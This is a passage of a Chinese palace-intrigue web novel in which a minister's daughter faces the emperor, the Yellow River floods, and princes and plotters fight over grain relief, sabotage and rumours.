皇帝君宏德,只穿着一身明黄色的常服,坐于书案后,批阅着奏折。
他的身旁,只有陈公公一人,悄无声息地侍立在旁。
当沈琉璃,被一名小太监,领进这间书房时,她能清晰地感觉到,那股无形的压力,几乎要让她窒息。
“罪臣之女沈琉璃,参见陛下,陛下万岁万岁万万岁。”
她跪倒在地,将自己的头,重重地磕在了冰冷的地砖上。
“起来吧。”
许久,皇帝那听不出喜怒的声音,才缓缓地响起。
他没有看她,只是将手中的朱笔,轻轻地放在了笔架上。
“朕听闻,昨夜,你那揽月楼很热闹啊。”
来了!
沈琉璃的心,猛地一紧!
“回禀陛下,”她低着头,说道,“是臣女管教不严,惊扰了圣听,臣女罪该万死。”
“哦?”皇帝笑了笑,他缓缓地站起身,走到她的面前,“那你倒是跟朕说说,那个叫萧彻的大徽使者,为何会与你的人,大打出手啊?”
“回禀陛下,此事说来话长。”沈琉璃将早已想好的说辞,娓娓道来,“都怪臣女,一时糊涂,信了小人谗言。”
她将自己,听闻有一名大徽王朝的副将流落至乾国,便想要将其“请”回楼中好生照料,结果却被性情暴虐的萧彻将军误会,最终引发冲突的经过,添油加醋地说了出来。
她这番话,说得天衣无缝。
“是吗?”皇帝看着她,脸上露出了一个,似笑非笑的表情。
他没有再继续追问,而是缓缓地走回书案后坐下,将一本早已备好的卷宗,扔在了沈琉璃的面前。
“那你再跟朕说说,”他的声音,变得无比幽冷,“这上面的东西,又作何解释啊?”
沈琉璃疑惑地,将那份卷宗展开。
只看了一眼,她的瞳孔,便骤然收缩!
那上面,没有写任何罪状,只画着一幅极其精细的地图和几个栩栩如生的人像。
图上正是那家,早已被一把火烧成白地的“悦来客栈”!以及,客栈掌柜一家七口的画像!
而在地图的背面,还用朱砂,清晰地标注出了几处,最佳的纵火地点!
“这……这是……”
“这是朕,从靖王叔那里‘借’来的。”皇帝看着她,缓缓说道,“丫头,你可知,欺君罔上,是何等大罪?”
这句话,直接让沈琉璃心里一惊!
她知道,自己所有的伪装,在这个男人的面前,都是形同虚设!
“陛下明鉴!”她“噗通”一声,再次跪倒在地,“臣女冤枉啊!”
“冤枉?”皇帝冷笑一声,“那你倒是跟朕说说,你一个深居简出的弱女子,是如何能,对一桩灭门**,了如指掌的呢?”
“你又是如何能将这份‘证据’,送到昭儿的手上的呢?”
他这番话,字字如刀!
将沈琉璃所有的退路,都堵得死死的!
“完了!”君北玄在她脑中,也忍不住低喝一声,“这个老狐狸,他什么都知道!他这是在逼你,露出马脚!”
沈琉璃的心,沉入了谷底。
她知道,自己今日,怕是难逃此劫了。
然而,就在她准备,开口辩解的时候。
君北玄的声音,再次在她脑海中响起!
“别怕!”
“他不是在审你,他是在诈你!”
“他若是真的掌握了所有证据,现在就不是在这里跟你废话,而是直接将你下入天牢了!”
“他现在,只是在等,等你自己露出破绽!”
“所以,”君北玄的声音,变得无比坚定,“现在,轮到我们反击了!”
“告诉他!”
“你不仅知道‘悦来客栈’的事!”
“你还知道,那把火是谁放的!”
“你更知道,他那位‘仁德宽厚’的好儿子,是如何买通了宫中的御厨,想用一碗‘安神汤’,将你置于死地的!”
“他不是想看戏吗?!”
“那我们便为他唱一出,比他想象中,还要精彩百倍的绝户计!”
君北玄的话,在沈琉璃心中,劈开了一条全新的航道!
她的心,在这一刻瞬间安定了下来。
是啊,她怕什么?
她身后站着的,可是北境的不败战神!
“好。”她在心里,平静地回应,“王爷,您说,我做。
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”
她缓缓地抬起头,眼神中,竟是褪去了所有的柔弱与惶恐,只剩下一种平静和决然。
皇帝君宏德看着那个,在经历了最初的惊慌后,竟在短短数息之间便恢复了镇定的少女。
他本以为,自己会看到一场,梨花带雨的哭诉,或是一场,歇斯底里的辩解。
可他没想到,自己等来的,竟是出乎他意料的平静。
“怎么?”他缓缓开口,声音里听不出喜怒,“想好了,要如何跟朕解释了吗?”
“回禀陛下,”沈琉璃没有再跪下,她只是,静静地站在原地,不卑不亢地说道,“臣女没有什么好解释的。”
“哦?”
“因为,陛下您手中的这份卷宗,以及之前大殿下呈上的所有证据,都是真的。”
她这句话,让陈公公,都忍不住当场愣住了。
她……她竟然承认了?!
“你倒是坦诚。”皇帝笑了笑,“那你倒是跟朕说说,你一个深居简出的弱女子,是如何能,对这些军国大事,了如指掌的呢?”
“因为,臣女惜命。”沈琉璃的回答,简单直接。
她看着御座上的皇上,继续说道:“臣女知道,自己早已是大皇子殿下的眼中钉,肉中刺。他欲除我而后快,早已不是什么秘密。”
“臣女也知道,自己不过是一介女流,无权无势,与殿下相比,无异于萤火皓月。臣女若想活下去,便只能用一些上不得台面的手段,为自己寻一条活路。”
“所以,臣女派人,查了‘悦来客栈’!”她的声音,陡然拔高,“臣女不仅查了悦来客栈,臣女还查了,他是如何买通宫中的御厨,又是如何,想用一碗淬了剧毒的‘安神汤’,将臣女置于死地的!”
她这番话,掷地有声!
“放肆!”皇帝猛地一拍龙椅,龙颜大怒,“沈琉璃!你可知你在说什么?!污蔑皇子,是何等大罪?!”
“臣女不敢!”沈琉璃“噗通”一声,再次跪倒在地,声音里带上了哭腔,“臣女所言,句句属实!若有半句虚言,甘愿受千刀万剐之刑!”
“证据呢?”
“证据,早已被大皇子殿下,一把火烧得干干净净了。”沈琉璃抬起头,眼中充满了悲愤,“悦来客栈满门七口,皆是人证!可如今,他们都已化作了焦炭!臣女百口莫辩!”
她这番话,看似是在认罪,实则却是将一盆,更脏的脏水,狠狠地泼了回去!
她是在告诉皇帝:您的大儿子,虽然已经被圈禁起来,但是他曾经,不仅要杀我,他还在**灭口!
“好,好一个‘百口莫辩’。”皇帝看着底下这个,哭得梨花带雨的少女,竟是气极反笑。
他发现,自己似乎越来越喜欢,这只看似柔弱,实则长满了利爪的小狐狸了。
“那你倒是跟朕说说,既然人证物证都已被烧得干干净净。”他缓缓开口,“你今日,又凭什么,让朕相信你这一面之词呢?”
“就凭这个!”
沈琉璃猛地抬起头,她从自己的袖中,取出了一样东西,高高举起!
那是一块,早已被鲜血浸透的狼卫令牌!
第100章 洪水滔天
“这是……”皇帝的瞳孔,骤然收缩!
“回禀陛下!”沈琉璃朗声说道,“此物,乃是臣女的人,从一名,被大皇子殿下派去通州港,意图与大徽太子‘结盟’的信使身上,拼死夺回来的!”
“大皇子殿下他,不仅想用臣女的命,去换取他自己的前程。更是想用大徽王朝,三十万北境大军的军防图,来当他通敌叛国的‘投名状’!”
“此等行径,与**何异?!”
“其心之歹毒,简直是骇人听闻!”
“臣女恳请陛下,彻查此事!还我沈家一个清白!还我乾国一个公道!”
她这番话,说得大义凛然,掷地有声!
御书房内,陷入了寂静。
皇帝君宏德没有去看那块令牌,也没有再去深究那封信的真假。
他只是,缓缓地站起身,走到了那副,挂在墙上的乾国舆图前。
许久,他才缓缓地开了口,声音平静得可怕。
“沈琉璃。”
“臣女在。”
“朕问你,”他没有回头,“你可知,朕为何要宣你入宫?”
沈琉璃的心,猛地一紧。
她知道,真正的考验,现在才刚刚开始。
“臣女愚钝。”
“不,你不愚钝。”皇帝缓缓地转过身,看着她,“你比朕的那三个儿子,加起来还要聪明。”
“朕宣你入宫,不是要杀你,也不是要审你。”
“朕只是,想看看。”
“你这把,从天外飞来的刀,到底有多锋利。”
“如今看来,你没有让朕失望。”
他说着,便对着身旁的陈公公,淡淡地吩咐道:“传朕旨意。”
“命大理寺、刑部、宗人府,并案彻查废太子李裕谋逆一案,所有相关人等,一并审理!不得有误!”
“至于沈大小姐嘛……”他的目光,死死地盯住了沈琉璃的眼睛,“即刻返回尚书府‘静养’。在彻查期间,任何人不得探视。”
“臣女,遵旨。”她缓缓地磕下头,声音平静得听不出半分波澜。
“嗯。”皇帝点了点头,缓缓地走回书案后坐下,端起茶水,浅呷一口。
就在沈琉璃以为,这场惊心动魄的对峙,终于可以结束的时候。
皇帝,却又像是想起了什么,看似随意地开了口。
“对了,丫头。”他看着她,脸上露出了微笑,“朕让你寻的‘龙血玉珊瑚’,可有眉目了?”
来了!
沈琉璃的心,猛地一紧!
她知道,这才是皇帝今夜,真正的目的!
他前面所有的敲打与试探,都不过是铺垫。这件看似不可能完成的任务,才是套在她脖子上的,最致命的枷锁!
“回禀陛下,”沈琉璃低着头,略带惶恐的说道,“臣女愚钝,此等神物,只存在于传说之中,臣女实在是……”
“哦?是吗?”皇帝笑了笑,不置可否。
他将一本早已备好的,描绘着南海异闻的图册,扔在了沈琉璃的面前。
“朕听闻,你那揽月楼中,能人异士颇多。这‘龙血玉珊瑚’,于你而言,也并非难事吧?”
他顿了顿,声音变得无比地语重心长。
“丫头啊,你可知,朕为何要将你,赐婚于大徽的太子?”
“……臣女愚钝。”
“因为,你很聪明。”皇帝看着她的眼睛,缓缓说道,“聪明得,不像一个寻常的女子。你这样的人,若是留在乾国,对朕的这三个儿子而言,都不是什么好事。”
“朕将你远嫁大徽,既是为了两国邦交,也是为了给你寻一条真正的活路。”
他这番话,说得情真意切,仿佛一个慈祥的长辈。
可听在沈琉璃的耳中,却不亚于最直接的警告!
他在告诉她:你的那些小把戏,朕都已看穿。安分守己地去当大徽王朝的太子妃,才是你唯一的出路!
“朕知道,你受了委屈。”皇帝继续说道,“但有些委屈,是必须要受的;有些棋子,也是必须要当的。”
“这株‘龙血玉珊瑚’,便是朕给你的最后一次考验。”他的声音,变得无比幽冷,“一个月的时间,不多不少。朕要你在出嫁之前,亲手将此物,呈到朕的面前。”
“你若能办到,那你之前所有的过错,朕都可以既往不咎。”
“可你若是办不到……”
他没有把话说完,但那未尽之意,却比任何威胁都更令人感到寒冷。
“好一招‘帝王心术’。”君北玄在她脑中,冷冷地说道,“这个老狐狸,远比我们想象中,还要可怕得多。他这是在告诉你,你这枚棋子若是再不听话,他随时都可以,将你从棋盘上彻底抹去!”
沈琉璃的心,沉入了谷底。就在她准备,开口领旨的时候。
“报——!”
一声嘶吼,忽然从殿外传来!
只见一名信使,连滚带爬地冲了进来,他甚至顾不上任何礼仪,便“噗通”一声跪倒在地,声泪俱下地哭喊道:
“陛下!不好了!黄河决堤了!”
这个消息,如同一道惊雷,在寂静的御书房内炸响!
皇帝君宏德猛地从龙椅上站起,厉声喝道:“你说什么?!再说一遍!”
“回……回禀陛下!”那信使被吓得,魂不附体,结结巴巴地说道,“就在三日前,黄河下游,兖州、豫州两地,因连日暴雪,河道冰封,致使河水倒灌,冲垮了三百里长堤!如今两州之地,早已是一片**!数万百姓流离失所,死伤不计其数啊!”
“混账!”
皇帝一声怒喝,竟是一脚将那名信使给踹翻在地!
他不是在演戏。
这一刻,他不再是那个,高高在上,**人心的棋手。
他只是一个,眼睁睁地看着自己的子民,被洪水吞噬,却又无能为力的君主!
“来人!”他对着殿外,嘶声吼道,“传朕旨意!立刻召集所有在都城的二品以上官员,入宫议事!快!”
整个御书房,彻底乱成了一锅粥!
而沈琉璃,此刻却被所有人,都给
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遗忘在了角落里。
她看着眼前这,因为一场突如其来的天灾,而失控的局面,心脏竟没来由地狂跳了起来!
“机会!”君北玄的声音,在她脑海中响起,“沈琉璃!这是我们唯一的机会!”
“皇帝现在,所有的注意力都在黄河的水患上!他根本无暇再顾及你的死活!”
“你要做什么?”
“去灾区!”君北玄的声音,掷地有声,“你不是要寻那‘龙血玉珊瑚’吗?你不是要查那‘四海商盟’吗?你不是要为你那位好表哥,铺平通往储君之路的台阶吗?”
“现在,所有的答案,都在那片被洪水淹没的土地上!”
“那里是人间地狱,却也同样,是我们反败为胜的唯一战场!”
君北玄的这番话,瞬间照亮了沈琉璃那颗混乱的心。
她缓缓地从地上站了起来,走到皇帝面前。
“陛下。”
她的声音不大,却异常清晰。
皇帝君宏德抬起头,看着底下这个少女,眼神里露出了几分不耐。
“你还有何事?”
“陛下,”沈琉璃对着他,重重地磕了一个头,“国难当头,臣女虽是一介女流,却也愿为陛下分忧,为我乾国数万灾民,尽一份绵薄之力!”
“臣女恳请陛下恩准,”她的声音,响彻了整个御书房,“允臣女,前往灾区!”
“以我揽月楼之名,开仓放粮,赈济灾民!”
“以我沈家之名,遍请天下名医,救死扶伤!”
“臣女,不求任何封赏!”
“只求能为陛下,换一个海晏河清,国泰民安!”
当皇帝君宏德听到沈琉璃的**,他的眼睛里,闪过了几分动容。
他看着底下那个,身形单薄,却在国难当头之际,第一个站出来,愿倾其所有的少女。
许久,他才缓缓地坐回了龙椅上,脸上露出了一个充满疲惫的笑容。
“好,好一个‘为君分忧’。”他看着沈琉璃,缓缓说道,“朕准了。”
“不过,”他话锋一转,声音变得无比威严,“赈灾之事,事关国本,非同儿戏。你虽有此心,却终究是一介女流,朕不能让你一人涉险。”
他说着,便将目光,投向了门外几个,早已闻讯赶来,跪在殿外的儿子。
“传朕旨意!”
“命三皇子李琰,为此次赈灾之事的正使,总览全局!即刻启程,前往灾区,安抚灾民,不得有误!”
“命二皇子李昭,留守都城,负责粮草、药材的筹措与转运!若有半分差池,朕唯你是问!”
他这番安排,看似公允,实则却是将一柄最锋利的双刃剑,同时递到了两个儿子的手上。
一个,去前线收拢民心,却也同样要面对最直接的危险。
另一个,则手握后方命脉,看似安全,却要在这场滔天的洪水中,为自己的兄弟,也为整个乾国,保住生机。
他说完,便不再看任何人,只是疲惫地挥了挥手。
“都退下吧。”
第101章 粮草之战
当这道圣旨,如同一阵风,传遍整个都城时,几家欢喜,几家愁。
三皇子府内,李琰在接到旨意后,没有半分喜悦,只有一种前所未有的凝重。他知道,这是父皇给他的考验,也是他唯一能与二哥,正面抗衡的机会。
他没有半分耽搁,当即便召集了所有幕僚,连夜商议起了赈灾的对策。
而二皇子府内,则是一片截然相反的景象。
李昭坐在书房里,安静地品着茶。仿佛,那滔天的洪水和数万灾民的生死,都与他没有半分关系。
“殿下,”他的心腹幕僚,忍不住开口劝道,“陛下此次,将粮草转运这等要职交予您,分明是对您寄予厚望,您为何……”
“厚望?”李昭笑了笑,他将手中的茶杯放下,“你看这满园的梅花,开得如此热闹。可又有谁知道,在这片看似纯洁的白雪下,埋藏着多少,早已腐烂的枯枝败叶呢?”
“父皇他,不是在给孤希望。”他的声音,变得无比幽冷,“他只是,想借着这场洪水,将我们这些‘枯枝败叶’都给冲刷干净罢了。”
……
尚书府,晚晴居。
当沈琉璃,将宫中的变故,一五一十地告知众人。
“**!”顾九将手中的酒葫芦往桌上重重一放,脸上露出了一个极其“悲愤”的表情,“这老皇帝,简直是岂有此理!他这是把咱们主公当成什么了?又是寻宝,又是赈灾的,真当咱们是给他家打长工的吗?!”
“顾先生说的是!”春桃在一旁,也是义愤填膺,“小姐您为了他们家的破事,都累瘦了!他不仅不给您赏赐,还让您去协助二殿下!这不是把羊往虎口里送吗?!”
“此事,确实棘手。”一直沉默不语的陆风,也难得地开了口,“二皇子李昭,城府极深,行事滴水不漏。主公与他共事,怕是要处处受制。”
“哼,一群蠢货。”君北玄的声音,在她脑海中响起,“你们只看到了危险,却没看到,这危险背后,隐藏的巨大战机!”
“王爷?”
“沈琉璃,你还记得本王跟你说过的话吗?”君北玄的声音,掷地有声,“粮草是军队的命脉,也同样是你们乾国那数万灾民的命脉!皇帝将这个任务交给了李昭,便等于,将一把最锋利的刀,递到了他的手上!”
“可他却忘了,”君北玄的声音里,带上了几分,连他自己都未曾察觉的笑意,“你这只小狐狸,最擅长的便是借刀**!”
“王爷,您说得对。”她在心里,一字一顿地说道,“他不是想看戏吗?那我们,便为他唱一出,粮草之战!”
她站起身,不再有半分犹豫,对着在场的所有人,下达了一连串的指令!
“忠叔!”
“老奴在!”
“立刻!将我们揽月楼账上所有能动用的资金,都给我调集起来!我要你,在明日天亮之前,将都城内外,所有粮铺的粮食,都给我买下来!一粒不留!”
“什么?!”忠叔和春桃,都惊得当场站了起来!
“小姐!您疯了吗?!那得是多少钱啊!”
“我没疯,国难当头,粮价必涨。”沈琉璃摇了摇头,“我们现在买下的不是粮食,是民心!”
“顾先生!”她的目光,又转向了那个,还在唉声叹气的酒鬼。
“在……在呢。”
“我需要你,连夜赶往灾区!”
“什么?!”顾九指了指自己的鼻子,“主公,您没开玩笑吧?小爷我这身子骨,还没好利索呢!您就让我去那种,鸟不拉屎的地方?”
“我自然知道,你治不了洪水。”沈琉璃继续说道,“所以,我才更需要你,去那里,为我散播一场,比洪水还可怕的‘瘟疫’。”
“瘟疫?”
“没错。”沈琉璃点了点头,“我要让所有人都知道,因为这场洪水,兖州、豫州两地,早已是瘟疫横行,民不聊生。而能治这场瘟疫的药,只有一种。”
“那便是,由我揽月楼,独家秘制的‘清瘟解毒散’!”
“陆将军!”她的目光,最后落在了那个,从始至终都话不多的男人身上。
“末将在!”
“我需要你,带上狼卫,与张启年将军一同,执行一项新的任务。”
“什么?!”君北玄在她脑中,第一个提出了反对,“沈琉璃,你疯了吗?!张启年刚刚归顺,忠诚未证,你就要将我们最精锐的力量交给他?而且,眼下二皇子和安王虎视眈眈,你竟要在此刻,将陆风这把最锋利的尖刀派出去?!”
“王爷,”沈琉璃在心里,平静地回应,“这不叫‘冒险’,这叫‘物尽其用’。”
“张启年执掌京畿卫戍多年,对都城周边的所有路线都了如指掌。由他规划路线,由陆将军的狼卫负责护送,这才是我们能打破封锁的唯一机会!”
“只有这样,我们才能将粮食和顾先生的解药,都安然无恙地送到灾区,送到我表哥的手上!”
……
就在沈琉璃,在尚书府内,紧锣密鼓地布局的时候。
千里之外的灾区,早已是哀鸿遍野,人间地狱。
三皇子李琰,在抵达灾区的第一时间,便以雷霆之势,开仓放粮,安抚灾民,很快便收拢了民心。
可**的是,一张无形的大网,也正在他的背后,悄然张开。
“殿下,”二皇子李昭的心腹幕僚,看着手中的密信,脸上露出了一个,阴冷的笑容,“一切都已安排妥当。”
“从明日起,所有通往灾区的漕运,都将被我们掌控。”
“那位三殿下,就算是有三头六臂,也休想再从南方,运来一粒米!”
“是吗?”
书房内,李昭缓缓地放下手中的书卷。
“告诉红夫人,”他缓缓开口,“孤的这份‘诚意’,想必她已经看到了。”
“现在,也该轮到她,为孤送上一份‘回礼’了。”
兖州,临时搭建的赈灾行辕内,灯火通明。
三皇子李琰正对着一张简陋的舆图,眉头紧锁。
他已经整整两日未曾合眼,眼睛里,此刻早已布满了血丝。
洪水,远比他想象中还要可怕。
三百里长堤的决口,如同一道永远无法愈合的伤疤,将兖州、豫州两地,
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都变成了一片泽国。
数以万计的灾民,如同无根的浮萍,在刺骨的寒风中瑟瑟发抖,等待着不知何时才会到来的救援。
“殿下,您歇会儿吧。”心腹幕僚林大学士将一件厚实的大氅,轻轻地披在了他的身上,“您已经两日没合眼了,这铁打的身子也熬不住啊。”
“我没事。”李琰摇了摇头,声音沙哑,“只是,粮食还是不够。”
这是他眼下,最头疼的问题。
他虽然在抵达灾区的第一时间,便开仓放粮,暂时稳住了局面。可那点存粮,对于数万张嗷嗷待哺的嘴巴而言,不过是杯水车薪。
而从都城方向运来的粮草,却不知为何,迟迟未能抵达。他派出去催粮的信使,也如同石沉大海,杳无音信。
这样看来,必然是有人,在背后捣鬼。
“殿下,”林大学士的脸上,也露出了凝重的神情,“老臣刚刚得到消息,说二殿下已暗中与‘四海商盟’达成了协议。如今,所有通往灾区的漕运,都已被他们掌控了。”
“李昭……”李琰的眼中,闪过了一抹冰冷的寒光,“我的好二哥,他这是要将我,将这数万灾民的性命,都弃之不顾啊!”
“那……那我们现在该怎么办?”林大学士的声音里,带上了几分绝望,“没了粮食,我们……”
就在这主仆二人,都陷入了绝望的时刻。
行辕外,忽然传来了一阵喧哗。
一名亲卫连滚带爬地跑了进来,脸上满是惊慌。
“殿下!不好了!外面……外面……”
“何事惊慌?!”李琰低喝一声。
“外面,来了一支商队!”那亲卫喘着粗气,急切地说道,“他们说是奉了尚书府沈大小姐之命,为我们送粮食来了!”
什么?!
李琰和林大学士对视一眼,都从对方的眼神里看到了不敢置信!
他们快步走出营帐,只见在行辕外那片泥泞的空地上,一支由数百辆骡车组成的庞大车队,竟不知何时,已悄然抵达!
为首的,正是那个,本该在都城养伤的顾九!
此刻的他,哪还有半分“神医”的模样?
他身着一身利落的劲装,脸上还带着几分病态的苍白!
在他的身后,是同样身着劲装的陆风和张启年!以及,数十名眼神锐利,气息沉稳的狼卫!
他们竟真的,用一种谁也无法预料的方式,硬生生地在二皇子的封锁下,撕开了一道口子!
顾九跳下马车,对着早已看得目瞪口呆的李琰,拱了拱手,“你这位表妹,怕你在这里饿肚子,特意命我等,为你送了些家乡的特产来。”
“你……你们……”李琰看着那一眼望不到头的车队,声音都在发颤,“你们是怎么做到的?!”
“山人自有妙计。”顾九得意地挑了挑眉,“二殿下他能封锁水路,难不成,还能把天也给封了不成?”
他说着,又指了指身后那些灾民。
“好了,闲话少说,赶紧放粮吧。”他的脸色,变得凝重起来,“再晚些,这些可怜人,怕是就要真的去见阎王爷了。”
第102章 天降不祥,皇室无德
沈琉璃的这支援军,如同一剂强心剂。
有了这批宝贵的粮草和药材,他不仅能暂时稳住灾区的局面,更有了与二皇子,正面抗衡的底气!
然而,他们都不知道的是,就在他们,为这来之不易的胜利而欢欣鼓舞的时候。
一场由安王亲手导演的“天灾”,也正在悄然降临。
是夜,兖州下游,一处名为“龙王口”的堤坝。
数十道黑影,悄无声息地出现在了早已被冰封的河道上。
他们个个身着夜行衣,脸上戴着狰狞的恶鬼面具,正是“黑莲佛印”的**!
为首的,是一个身形佝偻的老者。
“动手吧。”他沙哑地开口,“王爷说了,这场洪水还不够大。”
“只有让更多的血,染红这片土地,才能让那些,高高在上的人,听到我们的声音。”
随着他一声令下,数十名**从怀中,取出了用油纸包裹得严严实实的黑色陶丸。
正是曾在“悦来客栈”出现过的,“磷火珠”!
他们将这些陶丸,小心翼翼地安放在了堤坝最薄弱的几个节点上。
做完这一切,那名佝偻的老者,从怀中,取出了一支特制的信号烟火,拉开了引信。
“咻——!”
一声尖锐的嘶鸣声,划破了寂静的夜空!
紧接着,一朵巨大的黑色莲花烟火,在半空中轰然炸开!
“轰隆隆——!”
几乎是在同一时刻,整个“龙王口”堤坝,被从堤坝的内部炸开!
那座本该是固若金汤的堤坝,在短短数息之间,轰然倒塌!
“吼——!”
滔天的洪水,卷着浮冰和泥沙,以一种无可阻挡的姿态,朝着下游那片,早已是满目疮痍的土地,疯狂地吞噬而去!
这场突如其来的二次决堤,彻底地将整个灾区,都拖入了无边的地狱!
……
第二日清晨,当这个惊天的消息,传回都城时,整个朝堂,都为之失声!
皇帝君宏德在听完奏报后,当场便喷出了一口鲜血,整个人都软软地瘫倒在了龙椅上!
天灾!
这已不再是简单的天灾!
这是,上天对他们整个乾国皇室,最恶毒的诅咒!
而就在所有人都陷入绝望的时候。
一则更加可怕的谣言,开始在都城的大街小巷,疯狂地蔓延开来。
“听说了吗?黄河决堤,不是天灾,是人祸!”
“是啊!我那在宫里当差的表哥说,是当今陛下,德行有亏,这才触怒了龙王爷,降下了这滔天洪水啊!”
“何止是陛下!我听说,是整个皇室,都早已被污秽所染!他们为了争权夺利,不惜草菅人命!这才引来了上天的惩罚!”
“天降不祥,皇室无德!”
这八个字,像一把最锋利的刀子,狠狠地扎进了每一个,本就对皇室心存不满的百姓心中!
一时间,民怨沸腾,群情激奋!
整个乾国,都笼罩在一种,山雨欲来风满楼的压抑气氛中!
安王府,书房。
李宗霖手中捻着佛珠,口中念念有词。
“王爷,”一名黑衣护卫,悄无声息地出现在了他的身后,“一切,都已按您的吩咐,办妥了。”
“嗯。”安王点了点头,缓缓地睁开了眼睛。
“那条,被我们从宗人府里,‘请’出来的‘疯狗’,也该放出去,咬人了。”
……
无数的百姓,自发地**在皇宫的门外,他们虽然不敢冲击禁军的防线,却用一种最原始的方式,表达着他们的愤怒。
他们跪在雪地里,对着那高高的宫墙,一遍又一遍地磕着头。
哭声,在寂静的雪夜中,传出去了很远很远。
而在这场风暴的中心,皇帝君宏德在经历了最初的失态后,竟是出奇地冷静了下来。他没有再摔任何东西,也没有再骂任何一个奴才。
他只是,独自一人坐在龙椅上,静静地听着殿外传来的哭声。
“陛下,外面的雪,越下越大了。”陈公公的脸上,满是忧虑,“再这么下去,怕是会出乱子啊。”
“乱?”皇帝笑了笑,“朕倒是觉得,这潭水还不够乱。”
他说着,便将目光,投向了那副,早已被他看了无数遍的乾国舆图。
“传朕旨意。”他缓缓开口。
“宣,沈琉璃,即刻入宫觐见。”
……
半个时辰后,皇宫,御书房。
皇帝君宏德,正坐于书案后,批阅着奏折。
他的身旁,只有陈公公一人,如同影子般,悄无声息地侍立在旁。
“罪臣之女沈琉璃,参见陛下,陛下万岁万岁万万岁。”
她跪倒在地,将自己的头,重重地磕在了冰冷的地砖上。
“起来吧。”
许久,皇帝的声音,才缓缓地响起。
他没有看她,只是将手中的朱笔,轻轻地放在了笔架上。
“你倒是跟朕说说,这外面的谣言是怎么回事啊?”
“回禀陛下,”沈琉璃低着头,“臣女愚钝,不知陛下所指何事。”
“哦?”皇帝笑了笑,“那你倒是看看,这是什么。”
他说着,便将一沓由密探刚刚呈上来的卷宗,扔在了沈琉璃的面前。
那上面,清清楚楚地记载着,“天降不祥,皇室无德”这八个字,是如何从一间茶馆,一步步地发酵,最终演变成了席卷了整个都城的谣言!
而那家茶馆的背后,赫然指向了一个,让所有人都意想不到的名字。
——安王府。
“这……这不可能!”沈琉璃看着那份卷宗,脸上露出了震惊的表情,“安王叔他一向礼佛,与世无争,怎么会……”
“是啊,朕也想知道,他为何要这么做。”皇帝看着她,脸上露出了一个似笑非笑的表情。
他没有再继续追问,而是缓缓地站起身,走到窗前。
“丫头啊,”他的声音,变得无比语重心长,“朕知道,朕的
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这几个儿子,都不是什么省油的灯。”
“可你不知道的是,”他话锋一转,“在这场洪水中,真正想让人死的,从来都不是他们。”
“而是那些,躲在暗处,唯恐天下不乱的‘自己人’。”
他这番话,说得模棱两可。但是沈琉璃却听出来了,皇帝这个老狐狸,他什么都知道!
“陛下明鉴!”她“噗通”一声,再次跪倒在地,“臣女冤枉啊!”
“冤枉?”皇帝冷笑一声,“那你倒是跟朕说说,我朝漕运中断,连朕的赈灾粮都寸步难行。你区区一个揽月楼,是如何能,神不知鬼不觉地,将数万石的粮食,送到了兖州啊?”
“还有那所谓的‘瘟疫’,为何你的人,能先一步‘未卜先知’呢?”
他这番话,字字如刀!
将沈琉璃所有的退路,都堵得死死的!
“完了!”君北玄在她脑中,也忍不住低喝一声,“这个老狐狸,他这是在逼你站队!”
沈琉璃的心,沉入了谷底。
君北玄的声音,再次在她脑海中响起!
“别怕!”
“他现在,所有的儿子都已离心离德,唯一能信任的只有你这把刀了!”
“所以,”君北玄的声音,变得无比坚定,“现在,轮到我们开价了!”
“告诉他!”
“你不仅知道安王的事!”
“你还知道,那所谓的‘黑莲佛印’到底是个什么东西!”
“你更知道,他那位好弟弟,是如何与‘四海商盟’勾结,意图动摇国本的!”
“怎么?”皇帝缓缓开口,声音里听不出喜怒,“想好了,要如何跟朕解释了吗?”
“回禀陛下,”沈琉璃只是静静地站在原地,不卑不亢地说道,“臣女没有什么好解释的。”
“哦?”
“因为,陛下您手中的这份卷宗是真的。”
“放肆!”皇帝猛地一拍龙椅,龙颜大怒,“沈琉璃!你可知自己在说什么?!污蔑皇叔,是何等大罪?!”
“臣女不敢!”沈琉璃“噗通”一声,再次跪倒在地,“臣女所言,句句属实!若有半句虚言,甘愿受千刀万剐之刑!”
“证据呢?”
“证据,早已被安王殿下,处理得干干净净。”沈琉璃抬起头,继续说道,“那些被他收买,在堤坝上动手脚的死士,皆是人证!可如今,他们都已葬身鱼腹!臣女百口莫辩!”
她这番话,是在告诉皇帝,您的好弟弟,不仅要动摇国本,他还在**灭口!
皇帝听完,没有再去深究那些所谓的证据。他只是缓缓地站起身,一步一步地走到了沈琉璃的面前。
他伸出手,轻轻地为她拭去了脸颊上,那不知何时沾染上的一丝灰尘。
“丫头啊,”皇帝的声音,带着不容抗拒的威严在她的耳边响起,“朕想派你去帮着老三一起赈灾,你看如何?”
沈琉璃猛地抬起头,眼中带着几分震惊。
去赈灾?
第103章 前往灾区
“怎么?”皇帝看着她,脸上露出了一个似笑非笑的表情,“你不愿意?”
“臣女……不敢。”沈琉璃连忙低下头,将所有的情绪都隐藏了起来。
“哼,他不是让你去赈灾,他是要让你去送死!”君北玄的声音,在她脑海中冰冷地响起,“黄河决堤,灾区如今早已是人间地狱,乱民四起,瘟疫横行!他把你这么一个手无缚鸡之力的女人扔进去,名为分忧,实为诱饵!他这是要看看,在这等混乱的局面下,他的好儿子,还有那些藏在暗处的牛鬼蛇神,到底会如何对你这块‘肥肉’下口!”
沈琉璃的心,沉入了谷底。她当然知道,这绝非什么恩典。
“臣女……遵旨。”最终,她还是从牙缝里,挤出了这几个字。
“很好。”皇帝似乎很是满意。
他缓缓地走回龙椅上,脸上露出了一个,充满了疲惫的笑容。
“不过,赈灾之事,事关国本,非同儿戏。”他话锋一转,声音变得无比威严,“你虽有此心,但终究是一介女流,朕不能让你一人涉险。”
他说着,便对着殿外,沉声喝道:“传金吾卫指挥使,魏炎,即刻入宫觐见!”
魏炎?
沈琉璃的心中,飞快地闪过这个名字。
金吾卫指挥使,正三品武将,此人是军中悍将,出身草莽,凭着一身战功从一个小兵爬到了如今的位置。
他为人沉默寡言,不参与任何党争,是皇帝手中一把最忠诚,也最锋利的刀。
不多时,一个身着飞鱼服,腰佩绣春刀,身材魁梧的男人,快步走入了御书房。
他一进来,便对着皇帝单膝跪地,声音沉闷如鼓:“末将魏炎,参见陛下!”
“平身。”皇帝点了点头,指着沈琉璃,淡淡地吩咐道,“从今天起,你的任务只有一个,保护好沈大小姐的周全。她若是有半分差池,朕唯你是问。”
“末将,遵旨!”魏炎没有多问一个字,只是重重地一抱拳,随即起身,如同一尊没有感情的雕塑,站到了沈琉璃的身后。
沈琉璃能清晰地感觉到,那道投向自己的目光,是何等的锐利,不带任何感情。
……
